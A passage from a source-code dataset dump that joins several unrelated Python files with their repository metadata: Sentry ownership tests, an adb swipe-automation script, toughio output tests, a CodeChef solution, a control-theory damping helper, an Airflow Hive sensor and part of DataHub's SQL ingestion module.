x0=calibration_time, y0=0, x1=calibration_time, y1=1, line=dict( color="green", width=5 ), )) if color_range['min'] is not None and color_range['max'] is not None: min = color_range['min'] max = color_range['max'] width_of_line = (color_range['max'] - color_range['min']) / len(colorScale) for i in range(len(colorScale)): linechart_fig.add_shape( dict( type="rect", xref="paper", yref="y", x0=0, y0= min + i*width_of_line, x1=1, y1=min + (i+1)*width_of_line, fillcolor=colorScale[i][1], opacity=0.6, layer="below", line_width=0, ) ) range_selector = None if quick_select_range: range_selector = dict( buttons=list([ dict(count=1, label="1m", step="minute", stepmode="backward"), dict(count=1, label="1h", step="hour", stepmode="backward"), dict(count=1, label="1d", step="day", stepmode="backward"), dict(count=7, label="1w", step="day", stepmode="backward") ]) ) linechart_fig.update_layout( xaxis=dict( range=[timeline['start'], timeline['end']], type="date", linecolor='black', gridcolor='LightGrey', rangeselector=range_selector ), yaxis=dict( title='Resistivity (Ohm)', rangemode='tozero', linecolor='black', gridcolor='LightGrey', fixedrange=True ), margin=dict( l=15, r=0, t=30, b=5, pad=0 ), plot_bgcolor='white', dragmode=dragmode, height=250, ) return linechart_fig

true

f704fc4963a514b11f2efd68c503b1d00784b219

5,508

py

Python

tests/sentry/models/test_projectownership.py

AlexWayfer/sentry

ef935cda2b2e960bd602fda590540882d1b0712d

[ "BSD-3-Clause" ]

1

2022-02-09T22:56:49.000Z

tests/sentry/models/test_projectownership.py

AlexWayfer/sentry

ef935cda2b2e960bd602fda590540882d1b0712d

[ "BSD-3-Clause" ]

6

2018-10-19T10:04:23.000Z

2019-12-09T20:29:12.000Z

tests/sentry/models/test_projectownership.py

AlexWayfer/sentry

ef935cda2b2e960bd602fda590540882d1b0712d

[ "BSD-3-Clause" ]

null

from __future__ import absolute_import from sentry.testutils import TestCase from sentry.api.fields.actor import Actor from sentry.models import ProjectOwnership, User, Team from sentry.models.projectownership import resolve_actors from sentry.ownership.grammar import Rule, Owner, Matcher, dump_schema class ProjectOwnershipTestCase(TestCase): def assert_ownership_equals(self, o1, o2): assert ( sorted(o1[0]) == sorted(o2[0]) and sorted(o1[1]) == sorted(o2[1]) ) def test_get_owners_default(self): assert ProjectOwnership.get_owners(self.project.id, {}) == (ProjectOwnership.Everyone, None) def test_get_owners_basic(self): rule_a = Rule( Matcher('path', '*.py'), [ Owner('team', self.team.slug), ]) rule_b = Rule( Matcher('path', 'src/*'), [ Owner('user', self.user.email), ]) ProjectOwnership.objects.create( project_id=self.project.id, schema=dump_schema([rule_a, rule_b]), fallthrough=True, ) # No data matches assert ProjectOwnership.get_owners(self.project.id, {}) == (ProjectOwnership.Everyone, None) # Match only rule_a self.assert_ownership_equals(ProjectOwnership.get_owners( self.project.id, { 'sentry.interfaces.Stacktrace': { 'frames': [{ 'filename': 'foo.py', }] } } ), ([Actor(self.team.id, Team)], [rule_a])) # Match only rule_b self.assert_ownership_equals(ProjectOwnership.get_owners( self.project.id, { 'sentry.interfaces.Stacktrace': { 'frames': [{ 'filename': 'src/thing.txt', }] } } ), ([Actor(self.user.id, User)], [rule_b])) # Matches both rule_a and rule_b self.assert_ownership_equals(ProjectOwnership.get_owners( self.project.id, { 'sentry.interfaces.Stacktrace': { 'frames': [{ 'filename': 'src/foo.py', }] } } ), ([Actor(self.user.id, User), Actor(self.team.id, Team)], [rule_a, rule_b])) assert ProjectOwnership.get_owners( self.project.id, { 'sentry.interfaces.Stacktrace': { 'frames': [{ 'filename': 'xxxx', }] } } ) == (ProjectOwnership.Everyone, None) # When fallthrough = False, we don't implicitly assign to Everyone ProjectOwnership.objects.filter( project_id=self.project.id, ).update(fallthrough=False) assert ProjectOwnership.get_owners( self.project.id, { 'sentry.interfaces.Stacktrace': { 'frames': [{ 'filename': 'xxxx', }] } } ) == ([], None) class ResolveActorsTestCase(TestCase): def test_no_actors(self): assert resolve_actors([], self.project.id) == {} def test_basic(self): owners = [ Owner('user', self.user.email), Owner('team', self.team.slug), ] assert resolve_actors(owners, self.project.id) == { owners[0]: Actor(self.user.id, User), owners[1]: Actor(self.team.id, Team), } def test_teams(self): # Normal team owner1 = Owner('team', self.team.slug) actor1 = Actor(self.team.id, Team) # Team that doesn't exist owner2 = Owner('team', 'nope') actor2 = None # A team that's not ours otherteam = Team.objects.exclude(projectteam__project_id=self.project.id)[0] owner3 = Owner('team', otherteam.slug) actor3 = None assert resolve_actors([owner1, owner2, owner3], self.project.id) == { owner1: actor1, owner2: actor2, owner3: actor3, } def test_users(self): # Normal user owner1 = Owner('user', self.user.email) actor1 = Actor(self.user.id, User) # An extra secondary email email1 = self.create_useremail(self.user, None, is_verified=True).email owner2 = Owner('user', email1) actor2 = actor1 # They map to the same user since it's just a secondary email # Another secondary email, that isn't verified email2 = self.create_useremail(self.user, None, is_verified=False).email owner3 = Owner('user', email2) # Intentionally allow unverified emails # actor3 = None actor3 = actor1 # An entirely unknown user owner4 = Owner('user', 'nope') actor4 = None # A user that doesn't belong with us otheruser = self.create_user() owner5 = Owner('user', otheruser.email) actor5 = None # Case-insensitive for user owner6 = Owner('user', self.user.email.upper()) actor6 = actor1 assert resolve_actors([owner1, owner2, owner3, owner4, owner5, owner6], self.project.id) == { owner1: actor1, owner2: actor2, owner3: actor3, owner4: actor4, owner5: actor5, owner6: actor6, }

32.210526

101

0.535766

from __future__ import absolute_import from sentry.testutils import TestCase from sentry.api.fields.actor import Actor from sentry.models import ProjectOwnership, User, Team from sentry.models.projectownership import resolve_actors from sentry.ownership.grammar import Rule, Owner, Matcher, dump_schema class ProjectOwnershipTestCase(TestCase): def assert_ownership_equals(self, o1, o2): assert ( sorted(o1[0]) == sorted(o2[0]) and sorted(o1[1]) == sorted(o2[1]) ) def test_get_owners_default(self): assert ProjectOwnership.get_owners(self.project.id, {}) == (ProjectOwnership.Everyone, None) def test_get_owners_basic(self): rule_a = Rule( Matcher('path', '*.py'), [ Owner('team', self.team.slug), ]) rule_b = Rule( Matcher('path', 'src/*'), [ Owner('user', self.user.email), ]) ProjectOwnership.objects.create( project_id=self.project.id, schema=dump_schema([rule_a, rule_b]), fallthrough=True, ) assert ProjectOwnership.get_owners(self.project.id, {}) == (ProjectOwnership.Everyone, None) self.assert_ownership_equals(ProjectOwnership.get_owners( self.project.id, { 'sentry.interfaces.Stacktrace': { 'frames': [{ 'filename': 'foo.py', }] } } ), ([Actor(self.team.id, Team)], [rule_a])) self.assert_ownership_equals(ProjectOwnership.get_owners( self.project.id, { 'sentry.interfaces.Stacktrace': { 'frames': [{ 'filename': 'src/thing.txt', }] } } ), ([Actor(self.user.id, User)], [rule_b])) self.assert_ownership_equals(ProjectOwnership.get_owners( self.project.id, { 'sentry.interfaces.Stacktrace': { 'frames': [{ 'filename': 'src/foo.py', }] } } ), ([Actor(self.user.id, User), Actor(self.team.id, Team)], [rule_a, rule_b])) assert ProjectOwnership.get_owners( self.project.id, { 'sentry.interfaces.Stacktrace': { 'frames': [{ 'filename': 'xxxx', }] } } ) == (ProjectOwnership.Everyone, None) ProjectOwnership.objects.filter( project_id=self.project.id, ).update(fallthrough=False) assert ProjectOwnership.get_owners( self.project.id, { 'sentry.interfaces.Stacktrace': { 'frames': [{ 'filename': 'xxxx', }] } } ) == ([], None) class ResolveActorsTestCase(TestCase): def test_no_actors(self): assert resolve_actors([], self.project.id) == {} def test_basic(self): owners = [ Owner('user', self.user.email), Owner('team', self.team.slug), ] assert resolve_actors(owners, self.project.id) == { owners[0]: Actor(self.user.id, User), owners[1]: Actor(self.team.id, Team), } def test_teams(self): # Normal team owner1 = Owner('team', self.team.slug) actor1 = Actor(self.team.id, Team) # Team that doesn't exist owner2 = Owner('team', 'nope') actor2 = None otherteam = Team.objects.exclude(projectteam__project_id=self.project.id)[0] owner3 = Owner('team', otherteam.slug) actor3 = None assert resolve_actors([owner1, owner2, owner3], self.project.id) == { owner1: actor1, owner2: actor2, owner3: actor3, } def test_users(self): # Normal user owner1 = Owner('user', self.user.email) actor1 = Actor(self.user.id, User) # An extra secondary email email1 = self.create_useremail(self.user, None, is_verified=True).email owner2 = Owner('user', email1) actor2 = actor1 # They map to the same user since it's just a secondary email email2 = self.create_useremail(self.user, None, is_verified=False).email owner3 = Owner('user', email2) # Intentionally allow unverified emails # actor3 = None actor3 = actor1 # An entirely unknown user owner4 = Owner('user', 'nope') actor4 = None # A user that doesn't belong with us otheruser = self.create_user() owner5 = Owner('user', otheruser.email) actor5 = None owner6 = Owner('user', self.user.email.upper()) actor6 = actor1 assert resolve_actors([owner1, owner2, owner3, owner4, owner5, owner6], self.project.id) == { owner1: actor1, owner2: actor2, owner3: actor3, owner4: actor4, owner5: actor5, owner6: actor6, }

true

f704fc910bd0b1ded2564c2c436dd36c7bac1bc0

609

py

Python

Redmi_note9/PUCO_Bob/day_start/show_test_0.py

Lezaza/hotpoor_autoclick_xhs

52eafad8cce59353a9de5bf6e488e8a2602e5536

[ "Apache-2.0" ]

1

2021-12-21T10:42:46.000Z

Redmi_note9/PUCO_Bob/day_start/show_test_0.py

2218084076/hotpoor_autoclick_xhs

a52446ba691ac19e43410a465dc63f940c0e444d

[ "Apache-2.0" ]

2

2021-11-03T11:36:44.000Z

2021-11-05T07:58:13.000Z

Redmi_note9/PUCO_Bob/day_start/show_test_0.py

2218084076/hotpoor_autoclick_xhs

a52446ba691ac19e43410a465dc63f940c0e444d

[ "Apache-2.0" ]

1

2021-10-09T10:28:57.000Z

import os import time # os.system("adb shell monkey -p com.xingin.xhs -c android.intent.category.LAUNCHER 1") # os.system("sleep 4") # os.system("adb shell input tap 1000 150") # os.system("sleep 2") # os.system("adb shell input text PUCO") # os.system("sleep 2") # os.system("adb shell input tap 1000 150") # os.system("adb shell input swipe 340 800 340 500 1000") for i in range(0,50): os.system("adb shell input swipe 340 1200 340 400 1000") os.system("adb shell input swipe 340 600 340 1800 1000") time.sleep(1) os.system("adb shell input swipe 340 1400 340 200 1000") time.sleep(2)

32.052632

87

0.692939

import os import time for i in range(0,50): os.system("adb shell input swipe 340 1200 340 400 1000") os.system("adb shell input swipe 340 600 340 1800 1000") time.sleep(1) os.system("adb shell input swipe 340 1400 340 200 1000") time.sleep(2)

true

f704ff4f170ca5bfc8ac19a642a71a7b7ae80975

4,955

py

Python

test/test_output.py

keurfonluu/toughio

1db0600ee5ad1abb5ca858c81c8ac5226c9dbb4f

[ "BSD-3-Clause-LBNL" ]

21

2020-03-05T20:03:58.000Z

2022-03-14T23:17:42.000Z

test/test_output.py

keurfonluu/toughio

1db0600ee5ad1abb5ca858c81c8ac5226c9dbb4f

[ "BSD-3-Clause-LBNL" ]

60

2020-02-14T22:53:01.000Z

2022-03-26T07:24:19.000Z

test/test_output.py

keurfonluu/toughio

1db0600ee5ad1abb5ca858c81c8ac5226c9dbb4f

[ "BSD-3-Clause-LBNL" ]

6

2020-02-28T08:15:36.000Z

2022-03-13T23:26:24.000Z

import os import helpers import numpy import pytest import toughio write_read = lambda output, writer_kws, reader_kws: helpers.write_read( "output", output, toughio.write_output, toughio.read_output, writer_kws=writer_kws, reader_kws=reader_kws, ) @pytest.mark.parametrize( "filename, data_ref", [ ( "FOFT_A1912.csv", { "TIME": 4.393722000e9, "PRES": 1.8740899675005e8, "TEMP": 720.0, "SAT_G": 0.0, "SAT_L": 24.0, }, ), ( "FOFT_A1912_T2.csv", { "TIME": 3.06639400e9, "PRES": 1.83000721e8, "TEMP": 660.0, "SAT_G": 0.0, "SAT_L": 22.0, }, ), ( "GOFT_A1162.csv", {"TIME": 4.393722000e9, "GEN": -30.0, "ENTG": 1.528048035348e7, "PWB": 0.0}, ), ( "GOFT_A1162_T2.csv", {"TIME": 3.06639400e9, "GEN": -27.5, "ENTG": 1.40141971e7, "PWB": 0.0}, ), ], ) def test_history(filename, data_ref): this_dir = os.path.dirname(os.path.abspath(__file__)) filename = os.path.join(this_dir, "support_files", "outputs", filename) data = toughio.read_history(filename) for k, v in data_ref.items(): assert numpy.allclose(v, data[k].sum()) @pytest.mark.parametrize( "filename, filename_ref", [ ("OUTPUT_ELEME.csv", "SAVE.out"), ("OUTPUT_ELEME.tec", "SAVE.out"), ("OUTPUT_ELEME_PETRASIM.csv", "SAVE.out"), ("OUTPUT.out", "SAVE.out"), ("OUTPUT_6.out", "SAVE_6.out"), ], ) def test_output_eleme(filename, filename_ref): this_dir = os.path.dirname(os.path.abspath(__file__)) filename = os.path.join(this_dir, "support_files", "outputs", filename) outputs = toughio.read_output(filename) filename = os.path.join(this_dir, "support_files", "outputs", filename_ref) save = toughio.read_output(filename) assert len(outputs) == 5 times_ref = [ 0.2592000e08, 0.3155800e08, 0.1577900e09, 0.3155800e09, 0.7889400e09, ] keys_ref = ["POR", "PRES", "SAT_G", "TEMP", "X", "Y", "Z"] for output, time_ref in zip(outputs, times_ref): assert time_ref == output.time assert ( save.labels.tolist() == output.labels.tolist() if output.format in {"csv", "petrasim", "tough"} else output.labels == None ) if output.format != "tough": assert keys_ref == sorted(list(output.data.keys())) assert numpy.allclose(save.data["X1"], outputs[-1].data["PRES"]) assert numpy.allclose(save.data["X2"], outputs[-1].data["TEMP"], atol=0.1) @pytest.mark.parametrize( "filename", ["OUTPUT_CONNE.csv", "OUTPUT.out", "OUTPUT_6.out"], ) def test_output_conne(filename): this_dir = os.path.dirname(os.path.abspath(__file__)) filename = os.path.join(this_dir, "support_files", "outputs", filename) outputs = toughio.read_output(filename, connection=True) times_ref = [ 0.2592000e08, 0.3155800e08, 0.1577900e09, 0.3155800e09, 0.7889400e09, ] data_ref = [ 52542.0, 52475.0, 51146.0, 49600.0, 45623.0, ] for output, time_ref, data in zip(outputs, times_ref, data_ref): assert time_ref == output.time assert ( len(set("".join(labels) for labels in output.labels)) == output.data["HEAT"].size ) assert numpy.allclose(data, numpy.abs(output.data["HEAT"]).mean(), atol=1.0) @pytest.mark.parametrize( "output_ref, file_format", [ (helpers.output_eleme, "csv"), (helpers.output_eleme[0], "csv"), (helpers.output_eleme, "petrasim"), (helpers.output_eleme[0], "petrasim"), (helpers.output_eleme, "tecplot"), (helpers.output_eleme[0], "tecplot"), (helpers.output_conne, "csv"), (helpers.output_conne[0], "csv"), ], ) def test_output(output_ref, file_format): output = write_read( output=output_ref, writer_kws={"file_format": file_format}, reader_kws={}, ) output_ref = output_ref if isinstance(output_ref, list) else [output_ref] for out_ref, out in zip(output_ref, output): helpers.allclose_output(out_ref, out) def test_save(): this_dir = os.path.dirname(os.path.abspath(__file__)) filename = os.path.join(this_dir, "support_files", "outputs", "SAVE.out") save = toughio.read_output(filename) x_ref = [6.35804123e05, 1.42894499e02, 9.91868799e-01] assert numpy.allclose( x_ref, numpy.mean([save.data["X1"], save.data["X2"], save.data["X3"]], axis=1) ) assert numpy.allclose(0.01, save.data["porosity"].mean()) assert "userx" not in save.data.keys()

28.641618

88

0.574975

import os import helpers import numpy import pytest import toughio write_read = lambda output, writer_kws, reader_kws: helpers.write_read( "output", output, toughio.write_output, toughio.read_output, writer_kws=writer_kws, reader_kws=reader_kws, ) @pytest.mark.parametrize( "filename, data_ref", [ ( "FOFT_A1912.csv", { "TIME": 4.393722000e9, "PRES": 1.8740899675005e8, "TEMP": 720.0, "SAT_G": 0.0, "SAT_L": 24.0, }, ), ( "FOFT_A1912_T2.csv", { "TIME": 3.06639400e9, "PRES": 1.83000721e8, "TEMP": 660.0, "SAT_G": 0.0, "SAT_L": 22.0, }, ), ( "GOFT_A1162.csv", {"TIME": 4.393722000e9, "GEN": -30.0, "ENTG": 1.528048035348e7, "PWB": 0.0}, ), ( "GOFT_A1162_T2.csv", {"TIME": 3.06639400e9, "GEN": -27.5, "ENTG": 1.40141971e7, "PWB": 0.0}, ), ], ) def test_history(filename, data_ref): this_dir = os.path.dirname(os.path.abspath(__file__)) filename = os.path.join(this_dir, "support_files", "outputs", filename) data = toughio.read_history(filename) for k, v in data_ref.items(): assert numpy.allclose(v, data[k].sum()) @pytest.mark.parametrize( "filename, filename_ref", [ ("OUTPUT_ELEME.csv", "SAVE.out"), ("OUTPUT_ELEME.tec", "SAVE.out"), ("OUTPUT_ELEME_PETRASIM.csv", "SAVE.out"), ("OUTPUT.out", "SAVE.out"), ("OUTPUT_6.out", "SAVE_6.out"), ], ) def test_output_eleme(filename, filename_ref): this_dir = os.path.dirname(os.path.abspath(__file__)) filename = os.path.join(this_dir, "support_files", "outputs", filename) outputs = toughio.read_output(filename) filename = os.path.join(this_dir, "support_files", "outputs", filename_ref) save = toughio.read_output(filename) assert len(outputs) == 5 times_ref = [ 0.2592000e08, 0.3155800e08, 0.1577900e09, 0.3155800e09, 0.7889400e09, ] keys_ref = ["POR", "PRES", "SAT_G", "TEMP", "X", "Y", "Z"] for output, time_ref in zip(outputs, times_ref): assert time_ref == output.time assert ( save.labels.tolist() == output.labels.tolist() if output.format in {"csv", "petrasim", "tough"} else output.labels == None ) if output.format != "tough": assert keys_ref == sorted(list(output.data.keys())) assert numpy.allclose(save.data["X1"], outputs[-1].data["PRES"]) assert numpy.allclose(save.data["X2"], outputs[-1].data["TEMP"], atol=0.1) @pytest.mark.parametrize( "filename", ["OUTPUT_CONNE.csv", "OUTPUT.out", "OUTPUT_6.out"], ) def test_output_conne(filename): this_dir = os.path.dirname(os.path.abspath(__file__)) filename = os.path.join(this_dir, "support_files", "outputs", filename) outputs = toughio.read_output(filename, connection=True) times_ref = [ 0.2592000e08, 0.3155800e08, 0.1577900e09, 0.3155800e09, 0.7889400e09, ] data_ref = [ 52542.0, 52475.0, 51146.0, 49600.0, 45623.0, ] for output, time_ref, data in zip(outputs, times_ref, data_ref): assert time_ref == output.time assert ( len(set("".join(labels) for labels in output.labels)) == output.data["HEAT"].size ) assert numpy.allclose(data, numpy.abs(output.data["HEAT"]).mean(), atol=1.0) @pytest.mark.parametrize( "output_ref, file_format", [ (helpers.output_eleme, "csv"), (helpers.output_eleme[0], "csv"), (helpers.output_eleme, "petrasim"), (helpers.output_eleme[0], "petrasim"), (helpers.output_eleme, "tecplot"), (helpers.output_eleme[0], "tecplot"), (helpers.output_conne, "csv"), (helpers.output_conne[0], "csv"), ], ) def test_output(output_ref, file_format): output = write_read( output=output_ref, writer_kws={"file_format": file_format}, reader_kws={}, ) output_ref = output_ref if isinstance(output_ref, list) else [output_ref] for out_ref, out in zip(output_ref, output): helpers.allclose_output(out_ref, out) def test_save(): this_dir = os.path.dirname(os.path.abspath(__file__)) filename = os.path.join(this_dir, "support_files", "outputs", "SAVE.out") save = toughio.read_output(filename) x_ref = [6.35804123e05, 1.42894499e02, 9.91868799e-01] assert numpy.allclose( x_ref, numpy.mean([save.data["X1"], save.data["X2"], save.data["X3"]], axis=1) ) assert numpy.allclose(0.01, save.data["porosity"].mean()) assert "userx" not in save.data.keys()

true

f70501b6041b222ae4cdc6349c3646848546cf5f

271

py

Python

CodeChef_problems/XORAGN/solution.py

gbrls/CompetitiveCode

b6f1b817a655635c3c843d40bd05793406fea9c6

[ "MIT" ]

165

2020-10-03T08:01:11.000Z

2022-03-31T02:42:08.000Z

CodeChef_problems/XORAGN/solution.py

gbrls/CompetitiveCode

b6f1b817a655635c3c843d40bd05793406fea9c6

[ "MIT" ]

383

2020-10-03T07:39:11.000Z

2021-11-20T07:06:35.000Z

CodeChef_problems/XORAGN/solution.py

gbrls/CompetitiveCode

b6f1b817a655635c3c843d40bd05793406fea9c6

[ "MIT" ]

380

2020-10-03T08:05:04.000Z

2022-03-19T06:56:59.000Z

#Question Link #https://www.codechef.com/problems/XORAGN t=int(input()) for a0 in range(t): n=int(input()) a=list(map(int,input().split())) res=0 for i in a: res=res^i #xorring all the values present print(2*res) #doubling the result obtained

24.636364

49

0.645756

t=int(input()) for a0 in range(t): n=int(input()) a=list(map(int,input().split())) res=0 for i in a: res=res^i print(2*res)

true

f705031b38df3c5a63196a68e3910cb0f10187d4

716

py

Python

control_plotly/utils.py

vincentchoqueuse/python-control-plotly

5f4f7d354d4de2628ea52a5e544ebeb138d106bc

[ "MIT" ]

3

2021-08-17T19:21:22.000Z

2021-08-23T17:58:52.000Z

control_plotly/utils.py

vincentchoqueuse/python-control-plotly

5f4f7d354d4de2628ea52a5e544ebeb138d106bc

[ "MIT" ]

null

control_plotly/utils.py

vincentchoqueuse/python-control-plotly

5f4f7d354d4de2628ea52a5e544ebeb138d106bc

[ "MIT" ]

null

import control as ctl import numpy as np def damp(sys,display=False): pole_list = [] m_list = [] wn_list = [] for pole in sys.pole(): pole = pole.astype(complex) # WTF: the python control "damp" function is buggy due to this missing cast ! if ctl.isctime(sys): pole_continuous = pole else: pole_continuous = np.log(pole)/sys.dt wn = np.abs(pole_continuous) m = -np.real(pole_continuous)/wn pole_list.append(pole) wn_list.append(wn) m_list.append(m) if display: print("pole {:.3f} : wn={:.3f} rad/s, m= {:.3f}".format(pole, wn, m)) return wn_list, m_list, pole_list

24.689655

113

0.564246

import control as ctl import numpy as np def damp(sys,display=False): pole_list = [] m_list = [] wn_list = [] for pole in sys.pole(): pole = pole.astype(complex) if ctl.isctime(sys): pole_continuous = pole else: pole_continuous = np.log(pole)/sys.dt wn = np.abs(pole_continuous) m = -np.real(pole_continuous)/wn pole_list.append(pole) wn_list.append(wn) m_list.append(m) if display: print("pole {:.3f} : wn={:.3f} rad/s, m= {:.3f}".format(pole, wn, m)) return wn_list, m_list, pole_list

true

f705039b1f57c4a0a916cbfd3c1650721de1f279

3,014

py

Python

airflow/providers/apache/hive/sensors/hive_partition.py

Hartorn/airflow

a79e2d4c4aa105f3fac5ae6a28e29af9cd572407

[ "Apache-2.0" ]

3

2015-08-25T13:56:44.000Z

2020-03-21T10:26:58.000Z

airflow/providers/apache/hive/sensors/hive_partition.py

Hartorn/airflow

a79e2d4c4aa105f3fac5ae6a28e29af9cd572407

[ "Apache-2.0" ]

37

2020-07-21T07:50:02.000Z

2022-03-29T22:31:28.000Z

airflow/providers/apache/hive/sensors/hive_partition.py

vuppalli/airflow

dfe8337ca2d3ed173d9ecc112938271519792c40

[ "Apache-2.0" ]

2

2018-07-24T08:54:45.000Z

2018-08-31T13:41:50.000Z

# # Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. from airflow.providers.apache.hive.hooks.hive import HiveMetastoreHook from airflow.sensors.base_sensor_operator import BaseSensorOperator from airflow.utils.decorators import apply_defaults class HivePartitionSensor(BaseSensorOperator): """ Waits for a partition to show up in Hive. Note: Because ``partition`` supports general logical operators, it can be inefficient. Consider using NamedHivePartitionSensor instead if you don't need the full flexibility of HivePartitionSensor. :param table: The name of the table to wait for, supports the dot notation (my_database.my_table) :type table: str :param partition: The partition clause to wait for. This is passed as is to the metastore Thrift client ``get_partitions_by_filter`` method, and apparently supports SQL like notation as in ``ds='2015-01-01' AND type='value'`` and comparison operators as in ``"ds>=2015-01-01"`` :type partition: str :param metastore_conn_id: reference to the metastore thrift service connection id :type metastore_conn_id: str """ template_fields = ('schema', 'table', 'partition',) ui_color = '#C5CAE9' @apply_defaults def __init__(self, table, partition="ds='{{ ds }}'", metastore_conn_id='metastore_default', schema='default', poke_interval=60 * 3, *args, **kwargs): super().__init__( poke_interval=poke_interval, *args, **kwargs) if not partition: partition = "ds='{{ ds }}'" self.metastore_conn_id = metastore_conn_id self.table = table self.partition = partition self.schema = schema def poke(self, context): if '.' in self.table: self.schema, self.table = self.table.split('.') self.log.info( 'Poking for table %s.%s, partition %s', self.schema, self.table, self.partition ) if not hasattr(self, 'hook'): hook = HiveMetastoreHook( metastore_conn_id=self.metastore_conn_id) return hook.check_for_partition( self.schema, self.table, self.partition)

40.186667

91

0.674851

from airflow.providers.apache.hive.hooks.hive import HiveMetastoreHook from airflow.sensors.base_sensor_operator import BaseSensorOperator from airflow.utils.decorators import apply_defaults class HivePartitionSensor(BaseSensorOperator): template_fields = ('schema', 'table', 'partition',) ui_color = '#C5CAE9' @apply_defaults def __init__(self, table, partition="ds='{{ ds }}'", metastore_conn_id='metastore_default', schema='default', poke_interval=60 * 3, *args, **kwargs): super().__init__( poke_interval=poke_interval, *args, **kwargs) if not partition: partition = "ds='{{ ds }}'" self.metastore_conn_id = metastore_conn_id self.table = table self.partition = partition self.schema = schema def poke(self, context): if '.' in self.table: self.schema, self.table = self.table.split('.') self.log.info( 'Poking for table %s.%s, partition %s', self.schema, self.table, self.partition ) if not hasattr(self, 'hook'): hook = HiveMetastoreHook( metastore_conn_id=self.metastore_conn_id) return hook.check_for_partition( self.schema, self.table, self.partition)

true

f7050439ef98c033793027024ec1d306c91c767c

15,018

py

Python

metadata-ingestion/src/datahub/ingestion/source/sql_common.py

hmjahle/datahub_upstream

62d5306a28e0df6b6b67a5f46c01dd508caada60

[ "Apache-2.0" ]

null

metadata-ingestion/src/datahub/ingestion/source/sql_common.py

hmjahle/datahub_upstream

62d5306a28e0df6b6b67a5f46c01dd508caada60

[ "Apache-2.0" ]

null

metadata-ingestion/src/datahub/ingestion/source/sql_common.py

hmjahle/datahub_upstream

62d5306a28e0df6b6b67a5f46c01dd508caada60

[ "Apache-2.0" ]

null

import logging from abc import abstractmethod from dataclasses import dataclass, field from typing import Any, Dict, Iterable, List, Optional, Set, Tuple, Type from urllib.parse import quote_plus import pydantic from sqlalchemy import create_engine, inspect from sqlalchemy.engine.reflection import Inspector from sqlalchemy.sql import sqltypes as types from datahub.configuration.common import AllowDenyPattern, ConfigModel from datahub.emitter.mce_builder import DEFAULT_ENV from datahub.ingestion.api.common import PipelineContext from datahub.ingestion.api.source import Source, SourceReport from datahub.ingestion.api.workunit import MetadataWorkUnit from datahub.metadata.com.linkedin.pegasus2avro.metadata.snapshot import DatasetSnapshot from datahub.metadata.com.linkedin.pegasus2avro.mxe import MetadataChangeEvent from datahub.metadata.com.linkedin.pegasus2avro.schema import ( ArrayTypeClass, BooleanTypeClass, BytesTypeClass, DateTypeClass, EnumTypeClass, MySqlDDL, NullTypeClass, NumberTypeClass, RecordTypeClass, SchemaField, SchemaFieldDataType, SchemaMetadata, StringTypeClass, TimeTypeClass, ) from datahub.metadata.schema_classes import DatasetPropertiesClass logger: logging.Logger = logging.getLogger(__name__) def make_sqlalchemy_uri( scheme: str, username: Optional[str], password: Optional[str], at: Optional[str], db: Optional[str], uri_opts: Optional[Dict[str, Any]] = None, ) -> str: url = f"{scheme}://" if username is not None: url += f"{quote_plus(username)}" if password is not None: url += f":{quote_plus(password)}" url += "@" if at is not None: url += f"{at}" if db is not None: url += f"/{db}" if uri_opts is not None: if db is None: url += "/" params = "&".join( f"{key}={quote_plus(value)}" for (key, value) in uri_opts.items() if value ) url = f"{url}?{params}" return url @dataclass class SQLSourceReport(SourceReport): tables_scanned: int = 0 views_scanned: int = 0 filtered: List[str] = field(default_factory=list) def report_entity_scanned(self, name: str, ent_type: str = "table") -> None: """ Entity could be a view or a table """ if ent_type == "table": self.tables_scanned += 1 elif ent_type == "view": self.views_scanned += 1 else: raise KeyError(f"Unknown entity {ent_type}.") def report_dropped(self, ent_name: str) -> None: self.filtered.append(ent_name) class SQLAlchemyConfig(ConfigModel): env: str = DEFAULT_ENV options: dict = {} # Although the 'table_pattern' enables you to skip everything from certain schemas, # having another option to allow/deny on schema level is an optimization for the case when there is a large number # of schemas that one wants to skip and you want to avoid the time to needlessly fetch those tables only to filter # them out afterwards via the table_pattern. schema_pattern: AllowDenyPattern = AllowDenyPattern.allow_all() table_pattern: AllowDenyPattern = AllowDenyPattern.allow_all() view_pattern: AllowDenyPattern = AllowDenyPattern.allow_all() include_views: Optional[bool] = True include_tables: Optional[bool] = True @abstractmethod def get_sql_alchemy_url(self): pass def get_identifier(self, schema: str, table: str) -> str: return f"{schema}.{table}" def standardize_schema_table_names( self, schema: str, entity: str ) -> Tuple[str, str]: # Some SQLAlchemy dialects need a standardization step to clean the schema # and table names. See BigQuery for an example of when this is useful. return schema, entity class BasicSQLAlchemyConfig(SQLAlchemyConfig): username: Optional[str] = None password: Optional[pydantic.SecretStr] = None host_port: str database: Optional[str] = None database_alias: Optional[str] = None scheme: str def get_sql_alchemy_url(self, uri_opts=None): return make_sqlalchemy_uri( self.scheme, self.username, self.password.get_secret_value() if self.password else None, self.host_port, self.database, uri_opts=uri_opts, ) @dataclass class SqlWorkUnit(MetadataWorkUnit): pass _field_type_mapping: Dict[Type[types.TypeEngine], Type] = { types.Integer: NumberTypeClass, types.Numeric: NumberTypeClass, types.Boolean: BooleanTypeClass, types.Enum: EnumTypeClass, types._Binary: BytesTypeClass, types.LargeBinary: BytesTypeClass, types.PickleType: BytesTypeClass, types.ARRAY: ArrayTypeClass, types.String: StringTypeClass, types.Date: DateTypeClass, types.DATE: DateTypeClass, types.Time: TimeTypeClass, types.DateTime: TimeTypeClass, types.DATETIME: TimeTypeClass, types.TIMESTAMP: TimeTypeClass, types.JSON: RecordTypeClass, # When SQLAlchemy is unable to map a type into its internally hierarchy, it # assigns the NullType by default. We want to carry this warning through. types.NullType: NullTypeClass, } _known_unknown_field_types: Set[Type[types.TypeEngine]] = { types.Interval, types.CLOB, } def register_custom_type( tp: Type[types.TypeEngine], output: Optional[Type] = None ) -> None: if output: _field_type_mapping[tp] = output else: _known_unknown_field_types.add(tp) class _CustomSQLAlchemyDummyType(types.TypeDecorator): impl = types.LargeBinary def make_sqlalchemy_type(name: str) -> Type[types.TypeEngine]: # This usage of type() dynamically constructs a class. # See https://stackoverflow.com/a/15247202/5004662 and # 